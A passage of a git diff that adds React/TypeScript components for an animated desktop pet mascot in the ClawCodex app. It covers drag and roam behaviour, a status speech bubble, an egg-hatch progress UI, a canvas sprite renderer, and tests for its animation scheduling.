+    if (changeEventsAvailable && petChange.tick > 0 && petChange.meta?.enabled === false) {
+      setPetInfo({ enabled: false })
+
+      return
+    }
+
+    const pull = async () => {
+      try {
+        if (active) {
+          try {
+            const meta = await requestGateway<PetInfoMeta>('pet.info.meta', { profile: petProfile() })
+
+            if (cancelled || !meta) {
+              return
+            }
+
+            if (!meta.enabled) {
+              setPetInfo({ enabled: false })
+
+              return
+            }
+
+            const current = $petInfo.get()
+
+            if (hasPetSpriteForMeta(current, meta)) {
+              const merged = mergePetInfoMeta(current, meta)
+
+              if (merged !== current) {
+                setPetInfo(merged)
+              }
+
+              return
+            }
+          } catch {
+            // Older gateways may not have pet.info.meta yet; fall back to pet.info.
+          }
+        }
+
+        const next = await requestGateway<PetInfo>('pet.info', { profile: petProfile() })
+
+        if (!cancelled && next) {
+          const current = $petInfo.get()
+
+          if (
+            next.enabled &&
+            current.enabled &&
+            current.slug === next.slug &&
+            current.displayName === next.displayName &&
+            current.scale === next.scale &&
+            current.spritesheetRevision &&
+            current.spritesheetRevision === next.spritesheetRevision
+          ) {
+            return
+          }
+
+          setPetInfo(next)
+        }
+      } catch {
+        // cosmetic feature — never surface gateway errors
+      }
+    }
+
+    void pull()
+    window.addEventListener('focus', pull)
+
+    // Event-capable backend: pet.changed re-runs this effect (petChange dep),
+    // so no timer. Legacy backend: the historical poll.
+    const timer = changeEventsAvailable
+      ? null
+      : window.setInterval(
+          () => {
+            if (document.visibilityState === 'visible') {
+              void pull()
+            }
+          },
+          active ? PET_ACTIVE_REFRESH_MS : PET_POLL_MS
+        )
+
+    return () => {
+      cancelled = true
+      window.removeEventListener('focus', pull)
+
+      if (timer !== null) {
+        window.clearInterval(timer)
+      }
+    }
+  }, [gatewayState, active, changeEventsAvailable, petChange, requestGateway])
+
+  // Pets are per-profile. When the active profile changes, drop the previous
+  // profile's mascot + gallery cache so the poll above refetches the new
+  // profile's pet (its config + pets dir resolve per-profile on the backend).
+  useOnProfileSwitch(() => {
+    setPetInfo({ enabled: false })
+    resetPetGallery()
+  })
+
+  // Wire the overlay control channel once, only in the primary window — the
+  // pop-out overlay belongs to it (main.ts positions it against the main
+  // window and routes control messages back to it).
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    return initPetOverlayBridge()
+  }, [])
+
+  // Returning to the app (by any route, not just the mail icon) clears the pet's
+  // "new message" hint — you've seen it now.
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    const onFocus = () => clearPetUnread()
+    window.addEventListener('focus', onFocus)
+
+    return () => window.removeEventListener('focus', onFocus)
+  }, [])
+
+  // Restore a popped-out pet on boot, once the pet has loaded (so we never spawn
+  // an empty overlay window). Primary window only; runs at most once.
+  const restoredRef = useRef(false)
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (isSecondaryWindow() || restoredRef.current || !active) {
+      return
+    }
+
+    restoredRef.current = true
+    restorePetOverlay()
+  }, [active])
+
+  // Never strand or crop the pet: re-clamp (and persist) whenever the viewport
+  // shrinks or the pet's own size changes (wheel/slider). `clamp` carries the
+  // current size, so depending on it covers both triggers.
+  useEffect(() => {
+    const reclamp = () =>
+      setPosition(prev => {
+        const next = clamp(prev)
+
+        if (next.x === prev.x && next.y === prev.y) {
+          return prev
+        }
+
+        persistString(POSITION_KEY, JSON.stringify(next))
+
+        return next
+      })
+
+    reclamp()
+    window.addEventListener('resize', reclamp)
+
+    return () => window.removeEventListener('resize', reclamp)
+  }, [clamp])
+
+  const onPointerDown = useCallback((e: React.PointerEvent) => {
+    const el = containerRef.current
+
+    if (!el) {
+      return
+    }
+
+    const rect = el.getBoundingClientRect()
+
+    // Shift-click pops the pet out into a free-floating desktop overlay (it can
+    // leave the window and stays visible while ClawCodex is minimized) instead of
+    // starting an in-window drag. Primary window only — the overlay is anchored
+    // to it.
+    if (e.shiftKey && !isSecondaryWindow()) {
+      popOutPet({ height: rect.height, width: rect.width, x: rect.left, y: rect.top })
+
+      return
+    }
+
+    dragRef.current = { dx: e.clientX - rect.left, dy: e.clientY - rect.top, x: rect.left, y: rect.top }
+    el.setPointerCapture(e.pointerId)
+    el.style.cursor = 'grabbing'
+  }, [])
+
+  const onPointerMove = useCallback(
+    (e: React.PointerEvent) => {
+      const drag = dragRef.current
+      const el = containerRef.current
+
+      if (!drag || !el) {
+        return
+      }
+
+      const next = clamp({ x: e.clientX - drag.dx, y: e.clientY - drag.dy })
+      drag.x = next.x
+      drag.y = next.y
+      // Mutate the DOM directly — no setState, so no re-render while dragging. The
+      // mirror follows the pointer across the midline for the same reason; it
+      // rides the sprite wrapper so the bubble stays upright.
+      el.style.left = `${next.x}px`
+      el.style.top = `${next.y}px`
+
+      if (spriteWrapRef.current) {
+        spriteWrapRef.current.style.transform = facing(next.x, petW)
+      }
+    },
+    [clamp, petW]
+  )
+
+  const onPointerUp = useCallback((e: React.PointerEvent) => {
+    const drag = dragRef.current
+
+    if (drag) {
+      dragRef.current = null
+      const committed = { x: drag.x, y: drag.y }
+      setPosition(committed)
+      persistString(POSITION_KEY, JSON.stringify(committed))
+    }
+
+    const el = containerRef.current
+
+    if (el) {
+      el.style.cursor = 'grab'
+      el.releasePointerCapture?.(e.pointerId)
+    }
+  }, [])
+
+  // Alt+wheel over the pet resizes it (persisted via the same path as the
+  // settings slider). Zoom toward the cursor — shift the top-left so the pixel
+  // under the pointer stays put — so the pet grows in place instead of running
+  // off. The reclamp effect (via `clamp`) still guarantees it stays on-screen.
+  const onScale = useCallback(
+    (next: number, { clientX, clientY, ratio }: PetZoomAnchor) => {
+      setPetScale(requestGateway, next)
+      setPosition(prev => {
+        const at = clampPoint(
+          clientX - (clientX - prev.x) * ratio,
+          clientY - (clientY - prev.y) * ratio,
+          (info.frameW ?? 192) * next,
+          (info.frameH ?? 208) * next
+        )
+
+        persistString(POSITION_KEY, JSON.stringify(at))
+
+        return at
+      })
+    },
+    [requestGateway, info.frameW, info.frameH]
+  )
+
+  usePetZoomGesture(containerRef, onScale, active && !overlayActive)
+
+  // Commit a roamed-to position back to React state + storage when the wander
+  // loop settles, so the inline style matches the DOM once the loop stops
+  // driving it imperatively. Stable identity keeps the roam effect from
+  // restarting every render.
+  const commitRoamPosition = useCallback((point: Point) => {
+    setPosition(point)
+    persistString(POSITION_KEY, JSON.stringify(point))
+  }, [])
+
+  const isDragging = useCallback(() => dragRef.current !== null, [])
+
+  // Roam only the in-window pet, only while it's idle (agent at rest) and not
+  // popped out into the OS overlay. Activity pauses the wander; the pet reacts
+  // in place, then resumes strolling when the turn ends.
+  usePetRoam({
+    commit: commitRoamPosition,
+    containerRef,
+    enabled: roamEnabled && active && !overlayActive && atRest,
+    isInteracting: isDragging,
+    loopMs: info.loopMs ?? 1100,
+    overlayOpen: routeOverlayOpen,
+    petH,
+    petW
+  })
+
+  // While roaming, drive the directional run row + mirror from the travel
+  // direction; at rest, fall back to the inward-facing static mascot.
+  const walk = roamWalkRow(roamDir, info.stateRows)
+
+  // While popped out, the desktop overlay window owns the mascot — hide the
+  // in-window one so there aren't two.
+  if (!info.enabled || !info.spritesheetBase64 || overlayActive) {
+    return null
+  }
+
+  return (
+    <div
+      onPointerDown={onPointerDown}
+      onPointerMove={onPointerMove}
+      onPointerUp={onPointerUp}
+      ref={containerRef}
+      style={{
+        cursor: 'grab',
+        left: position.x,
+        pointerEvents: 'auto',
+        position: 'fixed',
+        top: position.y,
+        touchAction: 'none',
+        userSelect: 'none',
+        zIndex: 60
+      }}
+    >
+      <div
+        aria-hidden
+        style={{
+          background: `radial-gradient(ellipse at center, rgba(0,0,0,${shadowAlpha}) 0%, rgba(0,0,0,0) 70%)`,
+          bottom: -shadowH * 0.4,
+          height: shadowH,
+          left: '50%',
+          pointerEvents: 'none',
+          position: 'absolute',
+          transform: 'translateX(-50%)',
+          width: shadowW,
+          zIndex: 0
+        }}
+      />
+      <div
+        ref={spriteWrapRef}
+        style={{
+          lineHeight: 0,
+          position: 'relative',
+          transform: roamDir !== 0 ? (walk.mirror ? 'scaleX(-1)' : 'none') : facing(position.x, petW),
+          zIndex: 1
+        }}
+      >
+        <PetSprite info={info} rowOverride={walk.row} />
+      </div>
+      {/* Hearts puff off the pet; its celebrate ("yay"/jump) pose is driven by
+          burstVibeHearts's router. */}
+      <PetHeartField petH={petH} petW={petW} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pet/pet-bubble.tsx b/ui-desktop/src/components/pet/pet-bubble.tsx
new file mode 100644
index 000000000..cd843f04b
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-bubble.tsx
@@ -0,0 +1,165 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { AlertCircle, Clock, type IconComponent } from '@/lib/icons'
+import { $petActivity, $petState, type PetState } from '@/store/pet'
+
+/**
+ * Speech bubble + status glyph for the popped-out pet overlay — the
+ * "notification" half of the mascot. It externalizes what the agent is doing
+ * (Codex-style) so a glance at the desktop pet replaces switching back to the
+ * window. The in-window pet doesn't show it (the app itself is the surface);
+ * only the overlay renders it.
+ *
+ * Text is derived purely from the same `$petState` / `$petActivity` the sprite
+ * already reacts to, so it never drifts from the animation. The bubble is shown
+ * only when there's something worth saying (working / reviewing / a transient
+ * done/error beat / waiting on the user) and is hidden at plain idle.
+ */
+
+type Tone = 'error' | 'wait'
+
+interface Spec {
+  lines: string[]
+  glyph?: IconComponent
+  tone?: Tone
+}
+
+// Phrasings per mood, picked at random (no immediate repeat) for a bit of life.
+// Keep them short — the bubble is tiny and never wraps.
+const SPECS: Partial<Record<PetState, Spec>> = {
+  run: {
+    lines: [
+      'working…',
+      'on it…',
+      'crunching…',
+      'tinkering…',
+      'cooking…',
+      'in the weeds…',
+      'wiring it up…',
+      'making moves…',
+      'heads down…',
+      'hammering away…'
+    ]
+  },
+  review: {
+    lines: [
+      'thinking…',
+      'reading…',
+      'reviewing…',
+      'pondering…',
+      'connecting dots…',
+      'sizing it up…',
+      'tracing it…',
+      'mulling…',
+      'scheming…',
+      'hmm…'
+    ]
+  },
+  failed: {
+    glyph: AlertCircle,
+    lines: ['hit a snag', 'welp', 'that broke', 'oof', 'snagged'],
+    tone: 'error'
+  },
+  waiting: {
+    glyph: Clock,
+    lines: ['your turn', 'all yours', 'over to you', 'ball’s in your court', 'awaiting orders'],
+    tone: 'wait'
+  }
+}
+
+const TONE_COLOR: Record<Tone, string> = {
+  error: 'var(--ui-red)',
+  wait: 'var(--ui-yellow)'
+}
+
+// Random pick that avoids repeating the line we're already showing.
+function pick(lines: string[], prev: string): string {
+  if (lines.length <= 1) {
+    return lines[0] ?? ''
+  }
+
+  let next = prev
+
+  while (next === prev) {
+    next = lines[Math.floor(Math.random() * lines.length)]
+  }
+
+  return next
+}
+
+export function PetBubble() {
+  const state = useStore($petState)
+  const activity = useStore($petActivity)
+  const [line, setLine] = useState('')
+
+  // Finish beats are carried by the sprite/mail icon; idle only speaks up when
+  // it's actually the user's turn. Everything else maps to a mood spec.
+  const specKey: null | PetState =
+    state in SPECS ? state : state === 'idle' && activity.awaitingInput ? 'waiting' : null
+
+  const rotating = specKey === 'run' || specKey === 'review'
+
+  // Pick a fresh line on every mood change, then keep rotating (random, no
+  // repeat) only while the agent is actively working/thinking.
+  useEffect(() => {
+    const spec = specKey ? SPECS[specKey] : null
+
+    if (!spec) {
+      setLine('')
+
+      return
+    }
+
+    setLine(prev => pick(spec.lines, prev))
+
+    if (!rotating || spec.lines.length <= 1) {
+      return
+    }
+
+    const id = window.setInterval(() => setLine(prev => pick(spec.lines, prev)), 2600)
+
+    return () => window.clearInterval(id)
+  }, [specKey, rotating])
+
+  const spec = specKey ? SPECS[specKey] : null
+
+  if (!spec) {
+    return null
+  }
+
+  const Glyph = spec.glyph
+  const text = line || spec.lines[0]
+  const hasText = Boolean(text)
+
+  return (
+    <div
+      style={{
+        alignItems: 'center',
+        // Solid, theme-driven surface (the prior --ui-bg-card mixes in
+        // `transparent`, so the bubble was see-through).
+        background: 'var(--ui-bg-elevated)',
+        border: '1px solid var(--ui-stroke-secondary)',
+        borderRadius: hasText ? 10 : 999,
+        boxShadow: '0 4px 14px rgba(0,0,0,0.22)',
+        color: 'var(--foreground)',
+        display: 'inline-flex',
+        fontSize: 11,
+        fontWeight: 500,
+        gap: hasText ? 5 : 0,
+        lineHeight: 1,
+        // Glyph-only bubbles collapse to a tight, symmetric badge.
+        padding: hasText ? '5px 8px' : 5,
+        pointerEvents: 'none',
+        whiteSpace: 'nowrap'
+      }}
+    >
+      {Glyph && (
+        <span style={{ display: 'inline-flex' }}>
+          <Glyph style={{ color: spec.tone ? TONE_COLOR[spec.tone] : 'currentColor', height: 13, width: 13 }} />
+        </span>
+      )}
+      {text}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pet/pet-egg-hatch.tsx b/ui-desktop/src/components/pet/pet-egg-hatch.tsx
new file mode 100644
index 000000000..4f3806d9d
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-egg-hatch.tsx
@@ -0,0 +1,64 @@
+/**
+ * Egg-hatch visuals for the pet generation flow (Cmd-K → Pets → Generate).
+ *
+ * `PetEggHatch` is the incubation beat shown while `pet.hatch` runs: a wobbling
+ * egg that reads as "something is about to hatch" instead of a bare spinner. The
+ * reveal celebration is the canvas `PetStarShower`. Motion is disabled under
+ * `prefers-reduced-motion`.
+ */
+
+import { PixelEggSprite } from '@/components/pet/pixel-egg-sprite'
+import { Button } from '@/components/ui/button'
+import { Progress } from '@/components/ui/progress'
+
+interface PetEggHatchProps {
+  subtitle?: string
+  onCancel?: () => void
+  cancelLabel?: string
+}
+
+/**
+ * Thin progress bar. Determinate when given done/total (hatch rows stream one by
+ * one, so a real percentage is meaningful); indeterminate otherwise (drafts
+ * return together, so a count would just snap 0→100).
+ */
+export function PetProgress({ done, total }: { done?: number; total?: number }) {
+  const determinate = typeof done === 'number' && typeof total === 'number' && total > 0
+
+  return (
+    <Progress
+      animated
+      aria-label="Hatching progress"
+      className="bg-[color-mix(in_srgb,var(--ui-accent)_15%,transparent)]"
+      fillClassName="bg-(--ui-accent)"
+      indeterminate={!determinate}
+      size="sm"
+      value={determinate ? done / total : 0}
+    />
+  )
+}
+
+export function PetEggHatch({ subtitle, onCancel, cancelLabel }: PetEggHatchProps) {
+  return (
+    <div className="flex flex-col items-center justify-center gap-3">
+      <div className="flex flex-col items-center">
+        <PixelEggSprite mode="bounce" size={88} />
+        {/* The egg sprite has transparent canvas below the art, so pull the
+            shadow up ~a fifth of its size to sit at the egg's base. */}
+        <span className="pet-egg-shadow" style={{ marginTop: '-0.55rem' }} />
+      </div>
+
+      {subtitle && (
+        <p className="shimmer shimmer-color-primary whitespace-nowrap text-center text-[length:var(--conversation-caption-font-size)] leading-snug text-(--ui-text-tertiary)">
+          {subtitle}
+        </p>
+      )}
+
+      {onCancel && (
+        <Button onClick={onCancel} size="xs" variant="text">
+          {cancelLabel ?? 'Cancel'}
+        </Button>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pet/pet-egg-sheet.png b/ui-desktop/src/components/pet/pet-egg-sheet.png
new file mode 100644
index 000000000..128958eee
Binary files /dev/null and b/ui-desktop/src/components/pet/pet-egg-sheet.png differ
diff --git a/ui-desktop/src/components/pet/pet-sprite.test.tsx b/ui-desktop/src/components/pet/pet-sprite.test.tsx
new file mode 100644
index 000000000..2d396f7d8
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-sprite.test.tsx
@@ -0,0 +1,228 @@
+import { act, type ReactNode } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('@/store/pet', () => {
+  const listeners = new Set<(state: string) => void>()
+
+  return {
+    $petState: {
+      get: () => 'idle',
+      listen: (callback: (state: string) => void) => {
+        listeners.add(callback)
+
+        return () => {
+          listeners.delete(callback)
+        }
+      }
+    }
+  }
+})
+
+import { PetSprite } from './pet-sprite'
+
+const INFO = {
+  enabled: true,
+  frameH: 16,
+  frameW: 16,
+  framesPerState: 2,
+  loopMs: 120,
+  scale: 1,
+  spritesheetBase64: 'stub',
+  stateRows: ['idle']
+}
+
+let root: Root | null = null
+let container: HTMLDivElement | null = null
+let windowStateCallback: ((payload: { isMinimized?: boolean; isVisible?: boolean }) => void) | null = null
+
+function render(ui: ReactNode) {
+  container = document.createElement('div')
+  document.body.append(container)
+  root = createRoot(container)
+
+  act(() => {
+    root!.render(ui)
+  })
+}
+
+function cleanup() {
+  if (root) {
+    act(() => {
+      root!.unmount()
+    })
+  }
+
+  container?.remove()
+  root = null
+  container = null
+}
+
+function setVisibility(hidden: boolean) {
+  Object.defineProperty(document, 'hidden', { configurable: true, value: hidden })
+  Object.defineProperty(document, 'visibilityState', { configurable: true, value: hidden ? 'hidden' : 'visible' })
+}
+
+function installWindowStateBridge() {
+  windowStateCallback = null
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: {
+      onWindowStateChanged: vi.fn((callback: typeof windowStateCallback) => {
+        windowStateCallback = callback
+
+        return () => {
+          if (windowStateCallback === callback) {
+            windowStateCallback = null
+          }
+        }
+      })
+    }
+  })
+}
+
+function installRaf() {
+  let nextId = 1
+  const frames = new Map<number, FrameRequestCallback>()
+
+  const request = vi.fn((callback: FrameRequestCallback) => {
+    const id = nextId++
+    frames.set(id, callback)
+
+    return id
+  })
+
+  const cancel = vi.fn((id: number) => {
+    frames.delete(id)
+  })
+
+  Object.defineProperty(window, 'requestAnimationFrame', { configurable: true, value: request })
+  Object.defineProperty(window, 'cancelAnimationFrame', { configurable: true, value: cancel })
+
+  return {
+    cancel,
+    pending: () => frames.size,
+    request,
+    runNext: (now: number) => {
+      const next = frames.entries().next().value
+
+      if (!next) {
+        throw new Error('No pending RAF')
+      }
+
+      const [id, callback] = next
+      frames.delete(id)
+      callback(now)
+    }
+  }
+}
+
+describe('PetSprite RAF scheduling', () => {
+  beforeEach(() => {
+    ;(globalThis as typeof globalThis & { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+    vi.useFakeTimers()
+    setVisibility(false)
+    vi.spyOn(document, 'hasFocus').mockReturnValue(true)
+    installWindowStateBridge()
+    vi.stubGlobal(
+      'Image',
+      class extends EventTarget {
+        complete = true
+        naturalWidth = 16
+        src = ''
+      } as unknown as typeof Image
+    )
+    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
+      clearRect: vi.fn(),
+      drawImage: vi.fn(),
+      imageSmoothingEnabled: false
+    } as unknown as CanvasRenderingContext2D)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.unstubAllGlobals()
+    vi.restoreAllMocks()
+    setVisibility(false)
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('sleeps between visible sprite frames instead of chaining RAFs', () => {
+    const raf = installRaf()
+
+    render(<PetSprite info={INFO} />)
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+
+    act(() => {
+      raf.runNext(0)
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+    expect(raf.pending()).toBe(0)
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => {
+      vi.advanceTimersByTime(60)
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(2)
+  })
+
+  it('cancels pending RAF work while the Electron window is paused and resumes when visible', () => {
+    const raf = installRaf()
+
+    render(<PetSprite info={INFO} />)
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+
+    act(() => {
+      windowStateCallback?.({ isMinimized: true, isVisible: false })
+    })
+
+    expect(raf.cancel).toHaveBeenCalledTimes(1)
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      windowStateCallback?.({ isMinimized: false, isVisible: true })
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(2)
+  })
+
+  it('suspends while unfocused, resumes on focus, and leaves no work after unmount', () => {
+    const raf = installRaf()
+
+    render(<PetSprite info={INFO} />)
+
+    act(() => window.dispatchEvent(new Event('blur')))
+    expect(raf.pending()).toBe(0)
+
+    act(() => window.dispatchEvent(new Event('focus')))
+    expect(raf.pending()).toBe(1)
+
+    act(() => raf.runNext(0))
+    expect(vi.getTimerCount()).toBe(1)
+
+    cleanup()
+    expect(raf.pending()).toBe(0)
+    expect(vi.getTimerCount()).toBe(0)
+
+    act(() => {
+      vi.advanceTimersByTime(500)
+      window.dispatchEvent(new Event('focus'))
+    })
+    expect(raf.pending()).toBe(0)
+  })
+
+  it('keeps the intentionally non-activating pop-out overlay animated while unfocused', () => {
+    const raf = installRaf()
+
+    render(<PetSprite info={INFO} pauseWhenUnfocused={false} />)
+
+    act(() => window.dispatchEvent(new Event('blur')))
+
+    expect(raf.pending()).toBe(1)
+  })
+})
diff --git a/ui-desktop/src/components/pet/pet-sprite.tsx b/ui-desktop/src/components/pet/pet-sprite.tsx
new file mode 100644
index 000000000..9e79dc995
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-sprite.tsx
@@ -0,0 +1,373 @@
+import { memo, useEffect, useMemo, useRef } from 'react'
+
+import { createRendererLoopPauseController } from '@/lib/renderer-loop-pause'
+import { $petState, type PetInfo, type PetState } from '@/store/pet'
+
+const DEFAULT_FRAME_W = 192
+const DEFAULT_FRAME_H = 208
+const DEFAULT_FRAMES = 6
+const DEFAULT_LOOP_MS = 1100
+// Mirrors agent.pet.constants.DEFAULT_SCALE — fallback only; the gateway sends
+// the configured scale.
+const DEFAULT_SCALE = 0.33
+
+// Mirrors agent.pet.constants.CODEX_STATE_ROWS (Petdex current taxonomy).
+export const DEFAULT_STATE_ROWS = [
+  'idle',
+  'running-right',
+  'running-left',
+  'waving',
+  'jumping',
+  'failed',
+  'waiting',
+  'running',
+  'review'
+]
+
+const STATE_ALIASES: Record<PetState, string[]> = {
+  idle: ['idle'],
+  wave: ['wave', 'waving'],
+  jump: ['jump', 'jumping'],
+  run: ['run', 'running'],
+  failed: ['failed'],
+  review: ['review'],
+  waiting: ['waiting']
+}
+
+const ROW_TO_STATE: Record<string, PetState> = {
+  idle: 'idle',
+  wave: 'wave',
+  waving: 'wave',
+  jump: 'jump',
+  jumping: 'jump',
+  run: 'run',
+  running: 'run',
+  'running-right': 'run',
+  'running-left': 'run',
+  failed: 'failed',
+  review: 'review',
+  waiting: 'waiting'
+}
+
+/**
+ * Pick the running row + mirror for a horizontal travel direction.
+ *
+ * Codex sheets ship dedicated `running-left` / `running-right` locomotion rows
+ * (already facing their way → no flip). Pets without them fall back to the
+ * in-place `running`/`run` row, which faces left by convention, so rightward
+ * travel is mirrored. Returns no `row` in that fallback case so the caller lets
+ * `$petState` resolve it (and applies `mirror`).
+ */
+export function roamWalkRow(dir: -1 | 0 | 1, stateRows?: string[]): { row?: string; mirror: boolean } {
+  if (dir === 0) {
+    return { mirror: false }
+  }
+
+  const rows = stateRows ?? DEFAULT_STATE_ROWS
+  const hasLeft = rows.includes('running-left')
+  const hasRight = rows.includes('running-right')
+
+  if (dir > 0) {
+    if (hasRight) {
+      return { mirror: false, row: 'running-right' }
+    }
+
+    if (hasLeft) {
+      return { mirror: true, row: 'running-left' }
+    }
+
+    return { mirror: true }
+  }
+
+  if (hasLeft) {
+    return { mirror: false, row: 'running-left' }
+  }
+
+  if (hasRight) {
+    return { mirror: true, row: 'running-right' }
+  }
+
+  return { mirror: false }
+}
+
+interface PetSpriteProps {
+  info: PetInfo
+  /** Keep animating in a deliberately non-activating visible window, such as the pop-out pet overlay. */
+  pauseWhenUnfocused?: boolean
+  /** On-screen scale multiplier applied on top of the pet's native scale. */
+  zoom?: number
+  /**
+   * Force a specific animation state instead of reading the live `$petState`.
+   * Used by the generate-flow preview to showcase every row without driving (or
+   * being driven by) the real agent activity that moves the floating mascot.
+   */
+  stateOverride?: PetState
+  /** Force a concrete row name from `info.stateRows` (e.g. `running-right`). */
+  rowOverride?: string
+}
+
+/**
+ * Canvas renderer for a petdex spritesheet — the one piece that must be
+ * TypeScript (the engine's decode/encode is Python). Draws the row matching the
+ * live `$petState`, stepping `framesPerState` frames across a `loopMs` loop.
+ *
+ * State is read from `$petState` via a ref + subscription rather than a prop,
+ * so the frequent activity-driven state changes during an agent turn update the
+ * canvas (inside its RAF loop) WITHOUT triggering a React re-render. Combined
+ * with `memo`, this component effectively never re-renders after mount until
+ * the pet itself changes.
+ */
+function PetSpriteImpl({ info, zoom = 1, stateOverride, rowOverride, pauseWhenUnfocused = true }: PetSpriteProps) {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+  const stateRef = useRef<PetState>($petState.get())
+  const overrideRef = useRef<PetState | undefined>(stateOverride)
+  const rowOverrideRef = useRef<string | undefined>(rowOverride)
+  const kickAnimationRef = useRef<() => void>(() => undefined)
+
+  // Keep the override current without re-running the RAF setup effect.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    overrideRef.current = stateOverride
+    kickAnimationRef.current()
+  }, [stateOverride])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    rowOverrideRef.current = rowOverride
+    kickAnimationRef.current()
+  }, [rowOverride])
+
+  const frameW = info.frameW ?? DEFAULT_FRAME_W
+  const frameH = info.frameH ?? DEFAULT_FRAME_H
+  const frames = info.framesPerState ?? DEFAULT_FRAMES
+  const framesByState = info.framesByState
+  const framesByRow = info.framesByRow
+  const loopMs = info.loopMs ?? DEFAULT_LOOP_MS
+  const scale = (info.scale ?? DEFAULT_SCALE) * zoom
+  const rows = info.stateRows ?? DEFAULT_STATE_ROWS
+
+  const drawW = Math.round(frameW * scale)
+  const drawH = Math.round(frameH * scale)
+
+  const image = useMemo(() => {
+    if (!info.spritesheetBase64) {
+      return null
+    }
+
+    const img = new Image()
+    img.src = `data:${info.mime ?? 'image/webp'};base64,${info.spritesheetBase64}`
+
+    return img
+  }, [info.spritesheetBase64, info.mime])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const canvas = canvasRef.current
+
+    if (!canvas || !image) {
+      return
+    }
+
+    // willReadFrequently: the pop-out overlay samples this canvas's alpha under
+    // the cursor (per-pixel click-through), so opt into the CPU-readback path.
+    const ctx = canvas.getContext('2d', { willReadFrequently: true })
+
+    if (!ctx) {
+      return
+    }
+
+    // Track state via subscription, not a prop — no re-render on activity ticks.
+    stateRef.current = $petState.get()
+
+    let raf = 0
+    let wakeTimer = 0
+    let stopped = false
+    let frame = 0
+    let lastStep = performance.now()
+    let drawnFrame = -1
+    let drawnRow = -1
+    let activeRow = -1
+    let activeCount = -1
+    let pauseController: ReturnType<typeof createRendererLoopPauseController> | null = null
+
+    const rendererPaused = () => pauseController?.isPaused() ?? document.visibilityState === 'hidden'
+
+    const cancelWakeTimer = () => {
+      if (wakeTimer !== 0) {
+        window.clearTimeout(wakeTimer)
+        wakeTimer = 0
+      }
+    }
+
+    const cancelRaf = () => {
+      if (raf !== 0) {
+        window.cancelAnimationFrame(raf)
+        raf = 0
+      }
+    }
+
+    const clearScheduled = () => {
+      cancelWakeTimer()
+      cancelRaf()
+    }
+
+    const scheduleFrame = (delayMs = 0) => {
+      if (stopped || rendererPaused() || raf !== 0 || wakeTimer !== 0) {
+        return
+      }
+
+      if (delayMs > 16) {
+        wakeTimer = window.setTimeout(() => {
+          wakeTimer = 0
+          scheduleFrame()
+        }, delayMs)
+
+        return
+      }
+
+      raf = window.requestAnimationFrame(render)
+    }
+
+    const kickAnimation = () => {
+      if (stopped || rendererPaused()) {
+        return
+      }
+
+      cancelWakeTimer()
+      scheduleFrame()
+    }
+
+    const handleVisibilityChange = () => {
+      clearScheduled()
+
+      if (rendererPaused()) {
+        return
+      }
+
+      lastStep = performance.now()
+      drawnFrame = -1
+      kickAnimation()
+    }
+
+    const rowIndexForState = (s: PetState): number => {
+      for (const key of STATE_ALIASES[s] ?? [s]) {
+        const idx = rows.indexOf(key)
+
+        if (idx >= 0) {
+          return idx
+        }
+      }
+
+      return 0
+    }
+
+    // Resolve a state to the row it draws and its real frame count. A state
+    // with no real frames (ragged sheet, empty row) falls back to idle rather
+    // than flashing blank padding.
+    const resolve = (s: PetState): { row: number; count: number } => {
+      const real = framesByState?.[s] ?? frames
+
+      if (real > 0) {
+        return { row: rowIndexForState(s), count: real }
+      }
+
+      return { row: rowIndexForState('idle'), count: Math.max(1, framesByState?.idle ?? frames) }
+    }
+
+    const resolveRow = (rowName: string): { row: number; count: number } => {
+      const row = rows.indexOf(rowName)
+      const state = ROW_TO_STATE[rowName]
+
+      const count = Math.max(
+        1,
+        framesByRow?.[rowName] ?? framesByState?.[rowName] ?? (state ? framesByState?.[state] : 0) ?? frames
+      )
+
+      return { row: row >= 0 ? row : rowIndexForState(state ?? 'idle'), count }
+    }
+
+    const render = (now: number) => {
+      raf = 0
+
+      if (stopped || rendererPaused()) {
+        return
+      }
+
+      const forcedRow = rowOverrideRef.current
+      const { row, count } = forcedRow ? resolveRow(forcedRow) : resolve(overrideRef.current ?? stateRef.current)
+
+      if (row !== activeRow || count !== activeCount) {
+        activeRow = row
+        activeCount = count
+        frame = 0
+        lastStep = now
+        drawnFrame = -1
+      }
+
+      // Per-state step keeps every state's loop ~loopMs even when frame counts
+      // differ; counts vary per row so derive the cadence here, not once.
+      const stepMs = loopMs / count
+
+      if (now - lastStep >= stepMs) {
+        frame += 1
+        lastStep = now
+      }
+
+      frame %= count
+
+      if (!image.complete || image.naturalWidth <= 0) {
+        return
+      }
+
